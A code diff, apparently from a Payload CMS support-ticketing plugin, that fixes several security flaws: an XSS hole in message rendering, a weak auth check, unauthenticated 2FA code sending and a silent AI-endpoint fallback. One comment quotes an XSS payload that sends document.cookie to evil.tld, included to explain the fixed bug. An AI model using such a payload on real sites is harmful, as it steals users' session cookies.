|
@@ -18,8 +18,26 @@ export type SupportUser = {
|
|
|
18
18
|
collection: 'support-clients'
|
|
19
19
|
}
|
|
20
20
|
|
|
21
|
+
/**
|
|
22
|
+
* The ONLY reliable discriminant is the auth collection the session belongs to.
|
|
23
|
+
*
|
|
24
|
+
* This used to be a duck test on the presence of a `company` field, which any
|
|
25
|
+
* user of another auth collection of the host app (front-office members,
|
|
26
|
+
* subscribers — `company` is a very common field on such a document) satisfied:
|
|
27
|
+
* they entered the portal shell instead of being redirected to the login page.
|
|
28
|
+
*
|
|
29
|
+
* `'support-clients'` is hard-coded on purpose — every other portal file already
|
|
30
|
+
* hard-codes it (`/api/support-clients/login`, `/api/support-clients/me`, the
|
|
31
|
+
* `user.collection` tests in `tickets/detail/page.tsx`), because the portal is a
|
|
32
|
+
* copied template with no access to the plugin's resolved `collectionSlugs`. An
|
|
33
|
+
* integrator who renames the collection must adjust the whole template.
|
|
34
|
+
*/
|
|
21
35
|
function isSupportUser(user: unknown): user is SupportUser {
|
|
22
|
-
return
|
|
36
|
+
return (
|
|
37
|
+
typeof user === 'object' &&
|
|
38
|
+
user !== null &&
|
|
39
|
+
(user as { collection?: unknown }).collection === 'support-clients'
|
|
40
|
+
)
|
|
23
41
|
}
|
|
24
42
|
|
|
25
43
|
async function getSupportUser(): Promise<SupportUser | null> {
|
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
import React from 'react'
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Plain-text message bodies (`msg.body` with no `bodyHtml`) rendered as JSX.
|
|
5
|
+
*
|
|
6
|
+
* This used to be a `dangerouslySetInnerHTML` fed by a hand-rolled escaper that
|
|
7
|
+
* replaced `&`, `<` and `>` but NOT the double quote, then re-injected the link
|
|
8
|
+
* target into `href="$2"`. Since the URL pattern accepts every character but
|
|
9
|
+
* whitespace and `)`, a body such as
|
|
10
|
+
*
|
|
11
|
+
* [code:1](https://a"/onmouseover="fetch(`//evil.tld/?c=`+document.cookie))
|
|
12
|
+
*
|
|
13
|
+
* closed the `href` attribute and added a real event-handler attribute.
|
|
14
|
+
* `msg.body` is attacker-controlled from OUTSIDE the tenant: the inbound-email
|
|
15
|
+
* pipeline copies `pendingEmail.body` verbatim into a ticket message
|
|
16
|
+
* (`endpoints/pending-emails-process.ts`), and `sanitizeMessageHtml` only ever
|
|
17
|
+
* looks at `bodyHtml`.
|
|
18
|
+
*
|
|
19
|
+
* The fix is to stop building HTML: React escapes text nodes and attribute
|
|
20
|
+
* values on its own, so no quoting mistake is possible. The URL is additionally
|
|
21
|
+
* parsed and restricted to http/https before it reaches an `href`.
|
|
22
|
+
*
|
|
23
|
+
* Newlines need no `<br/>`: the wrapper carries `whitespace-pre-wrap`.
|
|
24
|
+
*/
|
|
25
|
+
|
|
26
|
+
/** `[code:12](https://…)` — the shared-code link marker posted by the agent console. */
|
|
27
|
+
const CODE_LINK_RE = /\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g
|
|
28
|
+
|
|
29
|
+
/** Returns the URL only when it parses AND uses an http(s) scheme; null otherwise. */
|
|
30
|
+
export function safeHttpUrl(raw: string): string | null {
|
|
31
|
+
try {
|
|
32
|
+
const url = new URL(raw)
|
|
33
|
+
if (url.protocol !== 'http:' && url.protocol !== 'https:') return null
|
|
34
|
+
return url.toString()
|
|
35
|
+
} catch {
|
|
36
|
+
return null
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* Split a plain-text body into text nodes and `<a>` elements.
|
|
42
|
+
* Exported (rather than inlined in the page) so the escaping contract is
|
|
43
|
+
* unit-testable — the page itself imports `@payload-config` and cannot be
|
|
44
|
+
* loaded from a test.
|
|
45
|
+
*/
|
|
46
|
+
export function renderPlainMessageBody(body: string): React.ReactNode[] {
|
|
47
|
+
const nodes: React.ReactNode[] = []
|
|
48
|
+
const re = new RegExp(CODE_LINK_RE.source, 'g')
|
|
49
|
+
let lastIndex = 0
|
|
50
|
+
let match: RegExpExecArray | null
|
|
51
|
+
|
|
52
|
+
while ((match = re.exec(body)) !== null) {
|
|
53
|
+
if (match.index > lastIndex) nodes.push(body.slice(lastIndex, match.index))
|
|
54
|
+
|
|
55
|
+
const href = safeHttpUrl(match[2])
|
|
56
|
+
if (href) {
|
|
57
|
+
nodes.push(
|
|
58
|
+
<a
|
|
59
|
+
key={`code-${match.index}`}
|
|
60
|
+
href={href}
|
|
61
|
+
target="_blank"
|
|
62
|
+
rel="noopener noreferrer"
|
|
63
|
+
className="text-blue-600 underline font-semibold"
|
|
64
|
+
>
|
|
65
|
+
🔗 Voir le code partagé
|
|
66
|
+
</a>,
|
|
67
|
+
)
|
|
68
|
+
} else {
|
|
69
|
+
// Not a usable link — show the raw marker as text rather than dropping it.
|
|
70
|
+
nodes.push(match[0])
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
lastIndex = match.index + match[0].length
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
if (lastIndex < body.length) nodes.push(body.slice(lastIndex))
|
|
77
|
+
return nodes
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
export function PlainMessageBody({ body }: { body: string }) {
|
|
81
|
+
return (
|
|
82
|
+
<div className="whitespace-pre-wrap text-sm leading-relaxed">
|
|
83
|
+
{renderPlainMessageBody(body ?? '').map((node, i) => (
|
|
84
|
+
<React.Fragment key={i}>{node}</React.Fragment>
|
|
85
|
+
))}
|
|
86
|
+
</div>
|
|
87
|
+
)
|
|
88
|
+
}
|
|
@@ -30,8 +30,12 @@ export function TicketPolling({
|
|
|
30
30
|
|
|
31
31
|
const interval = setInterval(async () => {
|
|
32
32
|
try {
|
|
33
|
+
// `/count` returns a single number. The previous limit=0 idiom did NOT return
|
|
34
|
+
// zero documents — Payload disables pagination for limit=0 and derives
|
|
35
|
+
// totalDocs from the rows it materialised, so every open portal tab used to
|
|
36
|
+
// re-download its whole conversation every 30 s to read one counter.
|
|
33
37
|
const res = await fetch(
|
|
34
|
-
`/api/ticket-messages?where[ticket][equals]=${ticketId}
|
|
38
|
+
`/api/ticket-messages/count?where[ticket][equals]=${ticketId}`,
|
|
35
39
|
{ credentials: 'include' },
|
|
36
40
|
)
|
|
37
41
|
if (res.status === 401 || res.status === 403) {
|
|
@@ -16,6 +16,7 @@ import { TypingIndicator } from './TypingIndicator'
|
|
|
16
16
|
import { MessageActions, EditedBadge, DeletedMessage } from './MessageActions'
|
|
17
17
|
import { ReadReceipt } from './ReadReceipt'
|
|
18
18
|
import { TransferAndInviteActions } from './TransferAndInviteActions'
|
|
19
|
+
import { PlainMessageBody } from './MessageBody'
|
|
19
20
|
// Document type for ticket attachments
|
|
20
21
|
type PayloadDocument = { filename?: string; title?: string; url?: string }
|
|
21
22
|
|
|
@@ -655,12 +656,7 @@ export default async function TicketDetailPage({ params }: { params: Promise<{ i
|
|
|
655
656
|
dangerouslySetInnerHTML={{ __html: msg.bodyHtml }}
|
|
656
657
|
/>
|
|
657
658
|
) : (
|
|
658
|
-
<
|
|
659
|
-
__html: msg.body
|
|
660
|
-
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
|
|
661
|
-
.replace(/\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g, '<a href="$2" target="_blank" rel="noopener noreferrer" class="text-blue-600 underline font-semibold">🔗 Voir le code partagé</a>')
|
|
662
|
-
.replace(/\n/g, '<br/>')
|
|
663
|
-
}} />
|
|
659
|
+
<PlainMessageBody body={msg.body} />
|
|
664
660
|
)}
|
|
665
661
|
|
|
666
662
|
{/* Attachments */}
|
|
@@ -32,6 +32,10 @@ function SupportLoginContent() {
|
|
|
32
32
|
|
|
33
33
|
// 2FA state
|
|
34
34
|
const [needs2FA, setNeeds2FA] = useState(false)
|
|
35
|
+
// Proof that the password step succeeded, minted by /support/login. Required
|
|
36
|
+
// by /support/2fa {action:'send'} — that endpoint no longer sends a code to
|
|
37
|
+
// anyone who merely knows the address.
|
|
38
|
+
const [challenge, setChallenge] = useState('')
|
|
35
39
|
const [twoFactorCode, setTwoFactorCode] = useState('')
|
|
36
40
|
const [sending2FA, setSending2FA] = useState(false)
|
|
37
41
|
|
|
@@ -60,10 +64,11 @@ function SupportLoginContent() {
|
|
|
60
64
|
if (data.requires2FA) {
|
|
61
65
|
// Send 2FA code
|
|
62
66
|
setSending2FA(true)
|
|
67
|
+
setChallenge(data.challenge || '')
|
|
63
68
|
const codeRes = await fetch('/api/support/2fa', {
|
|
64
69
|
method: 'POST',
|
|
65
70
|
headers: { 'Content-Type': 'application/json' },
|
|
66
|
-
body: JSON.stringify({ action: 'send', email }),
|
|
71
|
+
body: JSON.stringify({ action: 'send', email, challenge: data.challenge }),
|
|
67
72
|
})
|
|
68
73
|
|
|
69
74
|
if (codeRes.ok) {
|
|
@@ -130,12 +135,15 @@ function SupportLoginContent() {
|
|
|
130
135
|
const res = await fetch('/api/support/2fa', {
|
|
131
136
|
method: 'POST',
|
|
132
137
|
headers: { 'Content-Type': 'application/json' },
|
|
133
|
-
body: JSON.stringify({ action: 'send', email }),
|
|
138
|
+
body: JSON.stringify({ action: 'send', email, challenge }),
|
|
134
139
|
})
|
|
135
140
|
if (res.ok) {
|
|
136
141
|
setError('')
|
|
137
142
|
} else {
|
|
138
|
-
|
|
143
|
+
// 401 = the challenge expired (10 min): the password must be re-entered.
|
|
144
|
+
setError(res.status === 401
|
|
145
|
+
? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
|
|
146
|
+
: 'Erreur lors du renvoi du code.')
|
|
139
147
|
}
|
|
140
148
|
} catch {
|
|
141
149
|
setError('Erreur de connexion.')
|
|
@@ -1,7 +1,15 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Ambient stub for 'lucide-react'.
|
|
3
|
-
*
|
|
4
|
-
*
|
|
3
|
+
*
|
|
4
|
+
* lucide-react is a REQUIRED peer dependency — three unconditionally registered
|
|
5
|
+
* components import it statically, so a host without it fails at build time.
|
|
6
|
+
* It is deliberately not a devDependency here; this stub is what lets the plugin
|
|
7
|
+
* type-check in isolation without pulling the icon set into the repo.
|
|
8
|
+
*
|
|
9
|
+
* Keep the icon list below in sync with the actual imports:
|
|
10
|
+
* src/portal/LiveChat.tsx
|
|
11
|
+
* src/views/PendingEmailsView/client.tsx
|
|
12
|
+
* src/views/TicketingSettingsView/client.tsx
|
|
5
13
|
*/
|
|
6
14
|
declare module 'lucide-react' {
|
|
7
15
|
import type { FC, SVGProps } from 'react'
|
package/src/utils/aiAgent.ts
CHANGED
|
@@ -2,6 +2,7 @@ import type { Payload } from 'payload'
|
|
|
2
2
|
import type { CollectionSlugs } from './slugs'
|
|
3
3
|
import { readSupportSettings, type SupportSettings } from './readSettings'
|
|
4
4
|
import { dbFind, dbFindByID, dbCreate, dbUpdate } from './db'
|
|
5
|
+
import { resolveOllamaBaseUrl } from './aiProvider'
|
|
5
6
|
|
|
6
7
|
export interface AgentDecision {
|
|
7
8
|
action: 'reply' | 'escalate'
|
|
@@ -61,7 +62,7 @@ export async function applyAgentDecision(
|
|
|
61
62
|
function getClient(aiSettings: SupportSettings['ai']) {
|
|
62
63
|
const Anthropic = require('@anthropic-ai/sdk').default
|
|
63
64
|
if (aiSettings.provider === 'ollama') {
|
|
64
|
-
return new Anthropic({ apiKey: 'ollama', baseURL:
|
|
65
|
+
return new Anthropic({ apiKey: 'ollama', baseURL: resolveOllamaBaseUrl() })
|
|
65
66
|
}
|
|
66
67
|
return new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY })
|
|
67
68
|
}
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
import { APIError } from 'payload'
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Resolve the base URL of the OpenAI-compatible gateway used by the `ollama`
|
|
5
|
+
* provider.
|
|
6
|
+
*
|
|
7
|
+
* There is deliberately NO default here. An integrator who selects `ollama` does
|
|
8
|
+
* so precisely to keep ticket content off third-party infrastructure; a silent
|
|
9
|
+
* fallback to any hosted endpoint would ship the whole conversation — subject,
|
|
10
|
+
* message bodies, client name and company — to a server the operator never chose,
|
|
11
|
+
* and would do so invisibly because the AI answer still comes back normally.
|
|
12
|
+
*
|
|
13
|
+
* Fail loudly instead: a missing `OLLAMA_API_URL` is a configuration error.
|
|
14
|
+
*/
|
|
15
|
+
export function resolveOllamaBaseUrl(): string {
|
|
16
|
+
const baseURL = process.env.OLLAMA_API_URL
|
|
17
|
+
if (!baseURL) {
|
|
18
|
+
throw new APIError("provider 'ollama' requires OLLAMA_API_URL", 500)
|
|
19
|
+
}
|
|
20
|
+
return baseURL
|
|
21
|
+
}
|